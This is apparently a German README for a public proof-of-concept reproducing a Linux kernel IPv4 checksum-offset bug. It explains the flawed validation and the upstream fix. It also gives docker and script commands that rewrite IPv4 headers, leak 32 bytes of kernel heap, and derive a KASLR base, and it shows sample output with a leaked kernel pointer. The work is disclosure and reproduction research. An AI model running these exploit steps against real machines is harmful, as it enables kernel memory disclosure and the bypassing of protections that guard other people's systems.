Reproduktion und Analyse des Linux-IPv4-csum_start-Validierungsfehlers (CVE-2026-99999): Header-Rewrite, 32-Byte-Heap-Offenlegung, Leak-Oracle und KASLR-Umgehung.
English · 简体中文
Reproduktion des Linux-IPv4-csum_start-Validierungsfehlers, der durch
6785011f8b16 ("ipv4: validate checksum_start before completing checksum") behoben wurde.
Mit Codeausführung innerhalb einer Gast-VM schreibt ein unprivilegierter Prozess auf einem vorbereiteten
TAP einen Header neu, den der Kernel bereits geparst hat, und liest dann 32 Bytes über
die linearen Daten des Pakets hinaus.
| Voraussetzung | Codeausführung innerhalb der Gast-VM — nicht remote, nicht pre-auth |
| Reproduziert auf | 6.18.54.1-microsoft-standard-WSL2 |
| Betroffene Kernel | jede Version unterhalb ihres Branch-Fixes — KERNELS.md |
| Behoben in | 6.18.57 · 6.12.113 · 6.6.159 · 6.1.190 · 5.15.223 · 5.10.272 · 7.2.11 |
| CVSS 3.1 | 9.3 — AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Upstream-Fix | 6785011f8b16abf40b1e9d8b2e332232b3e68822 (Michael S. Tsirkin) |
| Gemeldet von | Paulos Yibelo (pwn.ai) |
| Vorkompiliert | v1.0.0 static binaries |
$ python3 poc/pwnescape.py --skip-verify --page --spray 32 --spray-fill 0xee
[leak] head=8 rest=400 linear=28B copy=60B overrun=32B adj=0x24d6 spray=32
[leak] 3 output fragment(s)
frag 0: first=0x4f ihl=60B tot_len=196
options[40]: a5a5a5a5a5a5a5a50000000000000000000000000000000000000000000000a9cb439e88ffff0000
past linear head: 32B, 7 nonzero
[leak] OK: 32 bytes copied past skb_headlen() into IPv4 options
Das erste Byte ist 0x4f statt 0x45 — Version 4, Header-Länge 15 Wörter
statt 5. Die acht a5-Bytes sind die Markierung, die dieser Reproducer in das
Fragment geschrieben hat; alles danach ist nicht Teil des Pakets. a9 cb 43 9e 88 ff ff
liest sich als 0xffff889e43cba9, eine Kernel-Direct-Map-Adresse.
skb_checksum_help() verwandelt Checksum-Metadaten in einen Schreibvorgang:
write address = skb->head + csum_start + csum_offset
Vor der Korrektur wurde nicht geprüft, ob csum_start nach dem IPv4-Header liegt.
Die Zulassungsprüfung vergleicht den Transport-Offset mit einer Mindest-Header-Länge,
die von den aktuellen skb->data aus gemessen wird — einer frame-relativen Koordinate:
/* include/linux/virtio_net.h, __virtio_net_hdr_to_skb() */
if (!skb_partial_csum_set(skb, start, off))
return -EINVAL;
if (skb_transport_offset(skb) < nh_min_len) /* 20 bytes */
return -EINVAL;
Für einen Frame von [ eth 14 ][ vlan 4 ][ vlan 4 ][ ipv4 ... ] ergibt csum_start = 22 ein skb_transport_offset() == 22 >= 20, sodass die Metadaten akzeptiert werden, während der tatsächliche Abstand vom Netzwerk-Header 0 beträgt. Die beiden VLAN-Tags werden im Empfangspfad entfernt, sodass die frame-relative Koordinate bis in L3 überlebt und der zurückgestellte Schreibvorgang auf version/ihl landet.
Die Reihenfolge ist die andere Hälfte. ip_do_fragment() schloss die ausstehende Prüfsumme vor dem Lesen von iph->ihl ab:
/* net/ipv4/ip_output.c, pre-fix */
if (skb->ip_summed == CHECKSUM_PARTIAL && (err = skb_checksum_help(skb)))
goto fail;
iph = ip_hdr(skb);
...
hlen = iph->ihl * 4; /* now 60, not 20 */
Der Header wurde als 20 Bytes validiert; der Consumer liest 15 Wörter aus
demselben Speicher. skb_checksum_help() ist nicht schuld — die Metadaten
durften ein anderes Paket beschreiben als das, das tatsächlich existiert.
Die Korrektur fügt eine netzwerkrelative Grenze hinzu und ruft sie vor jeder Completion-Stelle auf:
static inline int ip_check_csum_start(const struct sk_buff *skb)
{
if (unlikely(skb->csum_start < skb->network_header + ip_hdrlen(skb)))
return -EINVAL;
return 0;
}
Mit C = csum_start, N = network_header, H = ip_hdrlen und O >= 0
bedeutet die Anforderung C >= N + H, dass der Schreibvorgang C + O den Header nicht mehr erreichen kann.
Privilegierter Container auf einem anfälligen Kernel (der Kernel ist entscheidend):
docker run -d --name pwnesc --privileged debian:12-slim sleep infinity
docker exec pwnesc apt-get update -qq
docker exec pwnesc apt-get install -y -qq iproute2 nftables python3
docker cp lab/setup.sh pwnesc:/root/setup.sh
docker cp poc/pwnescape.py pwnesc:/root/pwnescape.py
docker exec pwnesc sh /root/setup.sh
# header rewrite only
docker exec pwnesc python3 /root/pwnescape.py --only-verify
# 32-byte disclosure past the linear head
docker exec pwnesc python3 /root/pwnescape.py --skip-verify --page --spray 32 --spray-fill 0xee
Auf einem Bare-Metal-Testhost oder einer VM: sudo sh lab/setup.sh, dann dieselben
Befehle als root in diesem Netzwerk-Namespace ausführen. Erfordert /dev/net/tun,
nf_conntrack, nf_defrag_ipv4, ip und nft.
lab/setup.sh erstellt ein TAP für die Injektion und ein veth-Paar für den Egress:
inject forward + defrag egress
userland ──────────► pwntap 10.0.0.1/24 ─────────────────► pwnv0 10.99.0.1/24
(virtio_net_hdr, | conntrack defrag MTU 200
csum_start=22) | nft prerouting -450 │
└── two fragments reassembled ────────────────┤
into a 28-byte linear head ▼
pwnv1
(capture)
Die nft-ct-Regel registriert nf_defrag_ipv4, sodass die beiden Fragmente wieder zusammengesetzt werden, bevor der Weiterleitungspfad sie erneut fragmentiert. Alles, was über pwnv1 zurückläuft, wird verworfen. lab/teardown.sh entfernt alles.
Das Offset-0-Fragment trägt 8 Bytes, sodass nach dem Wiederzusammensetzen der logische lineare Kopf 20 + 8 = 28 Bytes beträgt, während der Fragmentierer ihl * 4 = 60 kopiert:
[ 20 header ][ 8 payload ] | 32 bytes that are not part of the packet
└─ copied into the fragments' IPv4 options
overrun = 60 - (20 + head), also ist --head 40 der Kontrollfall (keine Bytes überschreiten
die Grenze) und --head 8 ergibt die 32-Byte-Offenlegung.
Auf dem Slab-Pfad wird der Tail durch CONFIG_INIT_ON_ALLOC_DEFAULT_ON genullt und der
Leak liest sich als 00. --page verschiebt den skb-Head auf ein recyceltes page_frag,
wo der Tail noch das enthält, was die Seite zuvor enthielt.
python3 exp/probe.py --passive # version verdict, no packets
python3 exp/probe.py --active # A/B behavioural verdict, leaks nothing
python3 exp/leak.py --rounds 24 # repeatable 32-byte disclosure + physmap KASLR base
probe.py vergleicht ein Kontroll-Datagramm mit wohlgeformten Prüfsummen-Metadaten mit einem, dessen csum_start auf dem IPv4-Header liegt: Header neu geschrieben → anfällig, Test vom Guard verworfen → gepatcht, nichts erfasst → Laborproblem. leak.py wiederholt den Über-Lesevorgang, extrahiert kanonische Kernel-Pointer und leitet die Physmap-KASLR-Basis ab.